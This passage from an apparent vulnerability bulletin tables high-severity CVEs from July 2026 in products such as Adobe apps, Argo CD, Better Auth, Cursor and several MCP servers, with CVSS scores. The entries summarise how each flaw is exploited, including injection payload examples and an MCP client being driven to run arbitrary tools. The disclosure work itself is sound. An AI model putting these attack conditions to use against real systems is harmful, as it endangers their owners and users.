| Adobe--Content Credentials Rust SDK                          | CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.                                                                                                  | 2026-07-14 | 7.5        | <a href="#">CVE-2026-48352</a> |
| Adobe--Creative Cloud Desktop                                | Creative Cloud Desktop is affected by an Uncontrolled Search Path Element vulnerability that could result in arbitrary code execution in the context of the current user. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48272</a> |
| Adobe--Creative Cloud Desktop                                | Creative Cloud Desktop is affected by a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability that could result in arbitrary code execution in the context of the current user. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48344</a> |
| Adobe--Illustrator Desktop 2026                              | Illustrator is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                                                              | 2026-07-14 | 9.3        | <a href="#">CVE-2026-48334</a> |
| Adobe--Illustrator Desktop 2026                              | Illustrator is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.                                                                                                                                                  | 2026-07-14 | 8.6        | <a href="#">CVE-2026-48275</a> |
| Adobe--Illustrator Desktop 2026                              | Illustrator is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48335</a> |
| Adobe--Illustrator Desktop 2026                              | Illustrator is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48336</a> |
| Adobe--Illustrator Desktop 2026                              | Illustrator is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48337</a> |
| Adobe--Premiere                                              | Premiere Pro is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                               | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48269</a> |
| Adobe--Premiere                                              | Premiere Pro is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                     | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48270</a> |
| Adobe--Premiere                                              | Premiere Pro is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.                                                                                                                                                                     | 2026-07-14 | 7.8        | <a href="#">CVE-2026-48369</a> |
| adonisjs--core                                               | AdonisJS is a TypeScript-first web framework. From 10.1.3 until 10.1.5 and 11.0.3, AdonisJS @adonisjs/bodyparser incompletely fixed CVE-2026-25754 because nested multipart field payloads such as user.__proto__.polluted and constructor.prototype still caused lodash_.set() via @poppinss/utls to create plain intermediate objects and pollute Object.prototype. This issue is fixed in versions 10.1.5 and 11.0.3. | 2026-07-15 | 8.6        | <a href="#">CVE-2026-48795</a> |
| Adrian Tobey--Groundhogg                                     | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Adrian Tobey Groundhogg groundhogg allows Path Traversal.This issue affects Groundhogg: from n/a through <= 4.4.1.                                                                                                                                                                                                       | 2026-07-13 | 8.6        | <a href="#">CVE-2026-57389</a> |
| alexstselegidis--easyappointments                            | Easy!Appointments is a self hosted appointment scheduler. In version 1.5.2, an Excessive Data Exposure vulnerability in the customers search endpoint allows an authenticated user to obtain appointment hashes belonging to other users. Using these hashes, an attacker can modify or delete appointments of other providers, resulting in an Appointments Takeover. Version 1.6.0 fixes the issue.                    | 2026-07-14 | 7.1        | <a href="#">CVE-2026-55651</a> |
| Aman--CF7 Views Complete Entry Management for Contact Form 7 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Aman CF7 Views &#8211; Complete Entry Management for Contact Form 7 cf7-views allows DOM-Based XSS.This issue affects CF7 Views &#8211; Complete Entry Management for Contact Form 7: from n/a through <= 3.2.2.                                                                                                   | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57411</a> |
| Amazon--aws-load-balancer-controller                         | Incorrect behavior order in the Gateway API listener-rule generation in Amazon AWS Load Balancer Controller before 3.4.2 might allow an authenticated remote user to intercept, spoof, or deny another namespace's gRPC traffic on a shared Gateway via a crafted HTTPRoute resource. To mitigate this issue, users should upgrade to version 3.4.2.                                                                     | 2026-07-14 | 8.5        | <a href="#">CVE-2026-15738</a> |

# High Vulnerabilities

| Primary Vendor -- Product            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Anysphere, Inc.--Cursor              | Cursor for Windows version 3.2.16 contains a binary planting vulnerability that allows remote attackers to achieve arbitrary code execution by placing a malicious git.exe file in the repository root directory. When a developer clones and opens a crafted repository, Cursor automatically resolves and executes the workspace-resident git.exe during IDE startup and on a recurring timed cadence without any user interaction, running the malicious binary under the privileges of the current user.                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-17 | 8.8        | <a href="#">CVE-2026-63093</a> |
| apolloconfig--apollo                 | Apollo is a reliable configuration management system suitable for microservice configuration management scenarios. Prior to 2.5.2, Apollo ConfigService may allow unauthorized access to configuration data when AccessKey or management key authentication is enabled because ConfigService can accept a non-canonical appld variant during authentication while downstream request handling resolves it to the protected app, including accent variants under accent-insensitive collations or trailing-space variants under PAD SPACE collations on /configs and /configfiles endpoints. This issue is fixed in version 2.5.2.                                                                                                                                                                                                                                                                     | 2026-07-15 | 7.5        | <a href="#">CVE-2026-59954</a> |
| apolloconfig--apollo                 | Apollo is a reliable configuration management system suitable for microservice configuration management scenarios. Prior to 2.5.2, Apollo ConfigService may allow unauthorized access to raw configuration data when AccessKey or management key authentication is enabled because requests under /configfiles/raw/{appld}/{clusterName}/{namespace} are parsed for authentication as appld raw instead of the actual path appld, causing ConfigService to look up AccessKey secrets for raw before verifying the request signature and potentially continue without signature verification for the target appld. This issue is fixed in version 2.5.2.                                                                                                                                                                                                                                               | 2026-07-15 | 7.5        | <a href="#">CVE-2026-59955</a> |
| appium--appium-mcp                   | MCP Appium is an MCP server that provides AI assistants with tools to automate mobile app testing on Android and iOS. In versions prior to 1.85.10, the createLocatorGeneratorUI function interpolates attacker-controlled element attributes - text, content-desc, resource-id, and locator selector values - directly into an HTML template literal without any HTML or JavaScript context escaping. An attacker who controls the UI of the app under test can inject arbitrary HTML and JavaScript into the MCP UI resource returned by the generate_locators tool. When a victim's MCP client renders this resource, the injected script executes and can invoke arbitrary MCP tools via window.parent.postMessage, leading to unauthorized MCP tool execution such as taking screenshots, reading page source, or any other registered capability. This issue has been fixed in version 1.85.10. | 2026-07-13 | 8.2        | <a href="#">CVE-2026-58500</a> |
| appsbd--Vitepos                      | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in appsbd Vitepos vitepos-lite allows Blind SQL Injection.This issue affects Vitepos: from n/a through <= 3.4.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-13 | 8.5        | <a href="#">CVE-2026-57385</a> |
| argoproj--argo-cd                    | Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Prior to 3.2.12, 3.3.10, and 3.4.2, Argo CD users with application write access can set link.argocd.argoproj.io/* annotations whose pipe-separated values are rendered by ui/src/app/applications/components/application-summary/application-summary.tsx in the Summary tab URLs section as anchor href values without URL validation, allowing javascript: execution in a higher-privileged user's authenticated Argo CD origin session. This issue is fixed in versions 3.2.12, 3.3.10, and 3.4.2.                                                                                                                                                                                                                                                                                                                        | 2026-07-15 | 7.3        | <a href="#">CVE-2026-45738</a> |
| argoproj--argo-helm                  | A flaw was identified in Argo CD, the GitOps engine used by Red Hat OpenShift GitOps, that could allow an unauthenticated attacker with network access to the Argo CD repo-server to achieve remote code execution. Under certain conditions, the attacker may then manipulate cached data to deploy malicious Kubernetes resources to managed clusters, potentially resulting in complete cluster compromise.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-14 | 8.9        | <a href="#">CVE-2026-15416</a> |
| argoproj--argo-helm                  | Argo CD Helm Chart before 10.0.0 fails to install network policies by default, allowing any pod on a cluster to access repo-server and other Argo APIs. Attackers can exploit this unrestricted network access through combined attacks to achieve cluster compromise and remote code execution.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-13 | 7.6        | <a href="#">CVE-2026-62185</a> |
| AutomationDirect--Productivity Suite | An out-of-bounds write vulnerability in the Productivity Suite allows a local attacker to trigger kernel memory corruption via a crafted IOCTL request, potentially resulting in privilege escalation or system instability.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-16 | 7          | <a href="#">CVE-2026-60063</a> |
| AutomationDirect--Productivity Suite | An out-of-bounds write vulnerability in the Productivity Suite allows a local attacker to trigger kernel memory corruption via a crafted IOCTL request, potentially resulting in privilege escalation or system instability.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-16 | 7          | <a href="#">CVE-2026-61389</a> |
| avo-hq--avo                          | Avo is a framework to create admin panels for Ruby on Rails apps. Prior to 3.32.1 and 4.0.0.beta.51, Avo's association attach workflow checks attach_<association>? in the UI and GET /resources/:resource/:id/:related/new path, but the actual write endpoint, POST /resources/:resource/:id/:related, does not run the same                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-17 | 9.6        | <a href="#">CVE-2026-55518</a> |

# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                    | authorization check before mutating the association through Avo::AssociationsController#create. An authenticated low-privileged Avo user can bypass hidden or disabled attach controls and directly attach related records to a parent record by sending a crafted POST request, which can lead to privilege escalation and cross-tenant data exposure where associations represent authorization-bearing relationships. This issue is fixed in versions 3.32.1 and 4.0.0.beta.51.                                                                                                                                                                                                                              |            |            |                                |
| AWS--awslabs.healthlake-mcp-server | AWS HealthLake MCP Server (awslabs.healthlake-mcp-server) is a Model Context Protocol server that enables AI assistants to interact with AWS HealthLake FHIR datastores. A server-side request forgery in the pagination handling component in AWS awslibs.healthlake-mcp-server before 0.0.14 on all platforms might allow a remote authenticated user to exfiltrate AWS temporary security credentials to an arbitrary endpoint via a crafted next_token parameter. The server does not validate that pagination URLs point back to the expected HealthLake endpoint, allowing an actor to redirect subsequent requests to an actor-controlled server. Its recommended to upgrade to version 0.0.14 or later. | 2026-07-14 | 7.3        | <a href="#">CVE-2026-15643</a> |
| AWS--jsii                          | OS command injection in the npm package loading component in AWS jsii-diff before 1.131.0 might allow context-dependent attackers to execute arbitrary commands via crafted package specifiers passed to the npm: source argument. To mitigate this issue, users should upgrade to jsii-diff v1.131.0 or later.                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-15 | 7.8        | <a href="#">CVE-2026-15895</a> |
| axelor--axelor-open-platform       | Axelor Open Platform versions 8.x prior to 8.2.2 contains an authorization bypass vulnerability that allows authenticated non-admin users to escalate privileges by exploiting unenforced field restrictions on nested relational save operations. Attackers can modify sensitive User record fields such as roles and group by submitting changes through a related entity's save path, bypassing the USER_RESTRICTED_FIELDS control and causing the JPA persistence layer to flush attacker-supplied admin role and group assignments on commit.                                                                                                                                                              | 2026-07-16 | 8.8        | <a href="#">CVE-2026-63085</a> |
| axiomthemes--777                   | Deserialization of Untrusted Data vulnerability in axiomthemes 777 triple-seven allows Object Injection.This issue affects 777: from n/a through <= 1.13.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 9.8        | <a href="#">CVE-2026-57738</a> |
| Basix--NEX-Forms                   | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Basix NEX-Forms nex-forms-express-wp-form-builder allows Stored XSS.This issue affects NEX-Forms: from n/a through <= 9.2.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57668</a> |
| better-auth--better-auth           | Better Auth is an authentication and authorization library for TypeScript. Prior to 1.6.11, the @better-auth/sso plugin's POST /sso/register and POST /sso/update-provider endpoints accept attacker-controlled oidcConfig.userInfoEndpoint, tokenEndpoint, and jwksEndpoint URLs when skipDiscovery: true is set, store them on the ssoProvider row without origin validation, and fetch them during OIDC callback, allowing non-blind server-side request forgery and possible account linking when trustEmailVerified: true is configured. This issue is fixed in version 1.6.11.                                                                                                                            | 2026-07-15 | 9.6        | <a href="#">CVE-2026-53513</a> |
| better-auth--better-auth           | Better Auth is an authentication and authorization library for TypeScript. Prior to 1.6.11, Better Auth's OAuth callback auto-link gate in handleOAuthUserInfo accepts implicit account linking when the OAuth provider asserts email_verified: true without requiring the local user row's emailVerified field to also be true, allowing an attacker who pre-registers a victim email through /sign-up/email to bind the victim's OAuth identity to the attacker's account. The same primitive affects one-tap, and emailAndPassword.requireEmailVerification: true does not mitigate the link-time verification change. This issue is fixed in version 1.6.11.                                                | 2026-07-15 | 8.3        | <a href="#">CVE-2026-53516</a> |
| better-auth--better-auth           | Better Auth is an authentication and authorization library for TypeScript. From 1.4.8-beta.7 until 1.6.11, the @better-auth/oauth-provider POST /oauth2/token endpoint on the refresh_token grant performs a non-atomic read, validate, revoke, and mint sequence on the oauthRefreshToken row, allowing concurrent requests with the same parent refresh token to pass the revoked check and create forked refresh-token families; the vulnerable range also includes embedded better-auth plugin versions before 1.6.0. This issue is fixed in version 1.6.11.                                                                                                                                                | 2026-07-15 | 8.1        | <a href="#">CVE-2026-53517</a> |
| better-auth--better-auth           | Better Auth is an authentication and authorization library for TypeScript. From 1.6.0 until 1.6.11, the deviceAuthorization plugin treats any authenticated session as the owner of any pending device code because GET /device does not claim the row and POST /device/approve and POST /device/deny short-circuit when userId is unset, allowing an authenticated attacker who learns a valid user_code to bind the polling device to the attacker's account or deny the legitimate flow. This issue is fixed in version 1.6.11.                                                                                                                                                                              | 2026-07-15 | 7.6        | <a href="#">CVE-2026-45337</a> |
| better-auth--better-auth           | Better Auth is an authentication and authorization library for TypeScript. Prior to 1.6.11, and in 1.6.14 and later when invitation IDs can be obtained outside the invited mailbox and requireEmailVerificationOnInvitation: true is not enabled, the                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-15 | 7.7        | <a href="#">CVE-2026-53514</a> |



# High Vulnerabilities

| Primary Vendor -- Product                             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                       | organization plugin's acceptInvitation, rejectInvitation, getInvitation, and listUserInvitations recipient endpoints use session.user.email and an invitation ID without sufficient verified-email ownership proof, allowing a user with an unverified session for the invited email address to accept an organization invitation after obtaining the invitation ID. This issue is fixed for the original default behavior in version 1.6.11, while 1.6.14 restored compatibility for built-in opaque invitation IDs and leaves affected configurations requiring secure options.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |            |            |                                |
| better-auth--better-auth                              | Better Auth is an authentication and authorization library for TypeScript. From 1.2.10 until 1.6.11, the @better-auth/sso plugin's POST /sso/register endpoint lets any organization member attach a new SSO provider to that organization because registerSSOProvider checks only for a membership row and does not require an owner or admin role, allowing attacker-controlled OIDC or SAML providers to drive /sso/callback/{providerId} organization provisioning. This issue is fixed in version 1.6.11.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-15 | 7.1        | <a href="#">CVE-2026-53515</a> |
| bigbluebutton--bigbluebutton                          | BigBlueButton is an open-source virtual classroom. Prior to 3.0.21, bbb-web generated conference sessionToken values with insufficiently secure randomness in bbb-common-web/src/main/java/org/bigbluebutton/api/Util.java and bigbluebutton-web/grails-app/controllers/org/bigbluebutton/web/controllers/ApiController.groovy, allowing a session user to predict other users' conference session tokens and impersonate them. This issue is fixed in version 3.0.21.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-16 | 8.1        | <a href="#">CVE-2026-46351</a> |
| bigbluebutton--bigbluebutton                          | BigBlueButton is an open-source virtual classroom. Prior to 3.0.21, bbb-web checksum validation could be bypassed when a presentationUploadExternalUrl parameter was supplied to API request handling in CreateMeeting.java and ValidationService.java, allowing a user to send valid requests to some endpoints without a checksum. This issue is fixed in version 3.0.21.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-16 | 8.1        | <a href="#">CVE-2026-46353</a> |
| BlackBerry Ltd--QNX Software Development Platform     | Buffer Overflow in the entry handler of the TraceEvent() system call could allow an attacker with local access to cause information disclosure, data tampering or a crash of the QNX Neutrino kernel.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-14 | 7.4        | <a href="#">CVE-2026-4017</a>  |
| Brainstorm Force--SureDash                            | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Brainstorm Force SureDash suredash allows Path Traversal.This issue affects SureDash: from n/a through <= 1.8.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-13 | 9.9        | <a href="#">CVE-2026-57401</a> |
| Breakdance--Breakdance                                | The Breakdance plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'fields' parameter in versions up to, and including, 2.7.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-16 | 7.2        | <a href="#">CVE-2026-7543</a>  |
| Bricksforge--Bricksforge                              | The Bricksforge plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.1.8.6. This is due to improper validation of the fieldIds parameter in the Pro Forms registration action, which allows attacker-supplied field IDs to be added to the trusted form-field whitelist. This makes it possible for unauthenticated attackers to register a new administrator account by submitting a crafted request to a publicly accessible Bricksforge Pro Forms registration form. Successful exploitation requires that the site has a public Bricksforge Pro Forms element configured with the User Registration action.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-17 | 9.8        | <a href="#">CVE-2026-14956</a> |
| Canonical--ubuntu-pro-client (ubuntu-advantage-tools) | An input validation and injection vulnerability exists in Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools). The client constructs APT source files (such as /etc/apt/sources.list.d/ubuntu-.list or their DEB822 equivalents) using data received directly from the contract server response via the directives.suites[] and directives.aptURL fields. Because the client utilizes Python's str.format() to write these files without performing escaping, validation, or newline character filtering, a malicious or tampered contract response containing embedded newline (\n) characters can successfully inject arbitrary, attacker-controlled deb configuration lines into root-owned APT sources. When combined with the unvalidated additionalPackages[] field-which is passed positionally into a root-executed apt-get install command-an attacker capable of spoofing or manipulating the contract response (e.g., via a compromised internal infrastructure, an intercepted connection utilizing a trusted CA, or local logical bugs) can force the client to fetch and install malicious packages. This ultimately leads to arbitrary code execution with root privileges on the affected system. This component is preinstalled on supported Ubuntu Server releases and auto-attaches by default on cloud provider Ubuntu Pro images. | 2026-07-16 | 9          | <a href="#">CVE-2026-11386</a> |
| Cap-go--capgo                                         | Capgo (Cap-go/capgo) before 12.128.2 contains an information disclosure vulnerability in the Supabase PostgREST SECURITY DEFINER RPC function                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-15 | 7.5        | <a href="#">CVE-2026-56339</a> |

# High Vulnerabilities

| Primary Vendor -- Product  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|----------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                            | public.rescind_invitation that allows unauthenticated attackers to enumerate organization existence. The function returns distinct error messages (NO_ORG vs NO_RIGHTS) when called with only a publishable API key, enabling attackers to discover valid organization IDs and increase the attack surface for targeted phishing or social engineering campaigns.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |            |            |                                |
| cedar-policy--cedar-java   | CedarJava is an open source Java implementation of the Cedar policy language, used for fine-grained authorization decisions. In versions prior to 4.9.0, the EntityIdentifier.equals() has inverted null/self branches which could lead to incorrect equality comparisons. The EntityIdentifier.equals() method has inverted logic for null and self-reference checks, returning true for null comparisons and false for self-comparisons. This does not affect Cedar authorization decisions (computed in Rust from JSON), but could affect integrators who perform their own equality checks on entity identifiers. This issue has been fixed in version 4.9.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-13 | 8.8        | <a href="#">CVE-2026-55771</a> |
| cedar-policy--cedar-java   | CedarJava is an open source Java implementation of the Cedar policy language, used for fine-grained authorization decisions. In versions prior to 2.3.6, 3.4.1 and 4.9.0, under certain circumstances, improper input handling could allow Record-to-Entity type confusion across the Java-Rust FFI boundary. CedarJava sends authorization requests to the Rust cedar-policy evaluator as JSON. The JSON protocol reserves magic single-key object shapes (__entity and __extn) for entity references and extension values. When serializing a CedarMap, there is no validation preventing these reserved keys from being used. If an integrating service builds a CedarMap from caller-supplied key/value data (such as request headers, user-defined metadata, or resource tags), an actor who controls those keys could cause the Rust evaluator to interpret a record as an entity reference. This issue requires the integrating service to build a CedarMap where the an actor controls the keys, and a policy must reference that value in a when/unless clause. This vulnerability has been fixed in versions 2.3.6, 3.4.1, and 4.9. | 2026-07-13 | 8.8        | <a href="#">CVE-2026-55772</a> |
| cedar-policy--cedar-java   | CedarJava is an open source Java implementation of the Cedar policy language, used for fine-grained authorization decisions. In versions prior to 2.3.6, 3.4.1 and 4.9.0, under certain circumstances, improper input handling could allow Cedar-expression injection via unescaped toCedarExpr(). The toCedarExpr() method on Cedar Value types does not escape special characters (" or \) when converting values to Cedar source code. If an integrator uses toCedarExpr() to build policy text at runtime from user-controlled values, an actor could inject arbitrary Cedar expressions. For example, injecting    true into a permit ... when { ... } clause could make the permit unconditional, or injecting && false into a forbid clause could prevent the forbid from triggering. This issue requires the integrator to use toCedarExpr() to build policy text at runtime from user-controlled input. This vulnerability has been fixed in versions 2.3.6, 3.4.1, and 4.9.0.                                                                                                                                                       | 2026-07-13 | 8.8        | <a href="#">CVE-2026-55773</a> |
| Centreon--Infra Monitoring | This vulnerability is a critical Server-Side Template Injection (SSTI) in Centreon's centreon-open-tickets module that leads to Remote Code Execution. The message_confirm field is stored without sanitization and rendered via Smarty with no security policy enabled, allowing any authenticated user, to inject and execute arbitrary code on the server. This results in disclosure of environment secrets and could impact platform availability of Centreon Infra Monitoring product.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-13 | 9.6        | <a href="#">CVE-2026-14453</a> |
| centrifugal--centrifugo    | Centrifugo is an open-source scalable real-time messaging server. Prior to 6.8.1, Centrifugo dynamic JWKS endpoint verification could reuse a key for one allowed issuer to verify a JWT for another allowed issuer because the JWKS cache and singleflight lookup were keyed only by JWT header kid, not by the resolved JWKS endpoint, issuer, audience, or trust-domain namespace, affecting client.token.jwks_public_endpoint, client.subscription_token.jwks_public_endpoint, internal/jwks/cache.go, and internal/jwks/manager.go. This issue is fixed in version 6.8.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-16 | 8.2        | <a href="#">CVE-2026-49998</a> |
| cert-manager--cert-manager | cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under acme.cert-manager.io can be created directly by namespace users without admission validation tying the Challenge to an Order, owner reference, or Issuer-selected solver, allowing attacker-controlled Challenge.spec.solver values referencing a ClusterIssuer to bypass DNS01 solver selectors such as dnsZones, dnsNames, and matchLabels and cause cert-manager to use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names, including disclosure of X-API-User and X-API-Key headers for acme-dns. This issue is fixed in versions 1.19.6 and 1.20.3.                                                                                                                                                                                                                                                                                                     | 2026-07-16 | 7.3        | <a href="#">CVE-2026-62290</a> |

# High Vulnerabilities

| Primary Vendor -- Product    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| CherryHQ--cherry-studio      | Cherry Studio versions 1.2.2 through 1.9.12, fixed in commit 1518530, contain a remote code execution vulnerability in SearchService that allows remote attackers to execute arbitrary code by delivering malicious JavaScript through controlled search provider content loaded into an Electron BrowserWindow configured with nodeIntegration enabled and contextIsolation disabled. Attackers who control a search engine provider, individual search result pages, or provider settings pages can execute JavaScript with full Node.js privileges, gaining access to fs, child_process, os, and process.env under the operating-system account of the Cherry Studio process.                                                                                                                                                                                                                                                                                                 | 2026-07-15 | 8.8        | <a href="#">CVE-2026-40501</a> |
| ChurchCRM--CRM               | ChurchCRM is an open-source church management system. Prior to version 7.4.0, an authenticated administrator can achieve Remote Code Execution (RCE) on the server by installing a malicious plugin ZIP archive containing a PHP webshell. The application explicitly includes 'php' in its ALLOWED_EXTENSIONS list, while the dangerous extensions denylist (DENIED_EXTENSIONS) fails to block standard .php files. Because 'php' is explicitly included in the allowed extension list for plugin archives, and extracted files are placed directly under the web root, any PHP file inside the ZIP becomes immediately executable via HTTP - without even needing to "enable" the plugin through the application UI. The /plugins/install-url API route (management.php) allows an administrator to source the malicious ZIP from any attacker-controlled HTTPS URL, validating it only against an attacker-supplied SHA-256 hash. This issue has been fixed in version 7.4.0. | 2026-07-13 | 9.1        | <a href="#">CVE-2026-58409</a> |
| ChurchCRM--CRM               | ChurchCRM is an open-source church management system. Prior to version 7.4.0, there was an authorization flaw in the family-scoped endpoints which allowed low-privileged users to read and modify other families' records. An authenticated non-admin user with EditSelf access can supply another family's 'familyId' and access records outside their own family scope. The backend trusts the attacker-controlled 'familyId' and loads the corresponding family entity by ID without verifying that the requested family belongs to the current user. If the same user also has Notes permission, they can create notes on another family's record. This breaks the intended EditSelf scope and allows access to unrelated congregation records. This issue has been fixed in version 7.4.0.                                                                                                                                                                                 | 2026-07-13 | 7.1        | <a href="#">CVE-2026-58410</a> |
| cilium--cilium               | Cilium is a networking, observability, and security solution. Prior to 1.17.14, 1.18.8, and 1.19.2, when Cilium L7 functionality is enabled, the embedded or standalone Envoy instance creates a world-accessible admin.sock on cluster nodes, allowing a local attacker to access Envoy admin endpoints, expose TLS secrets, disrupt cluster traffic, or terminate Envoy. This issue is fixed in versions 1.17.14, 1.18.8, and 1.19.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-15 | 9.2        | <a href="#">CVE-2026-49445</a> |
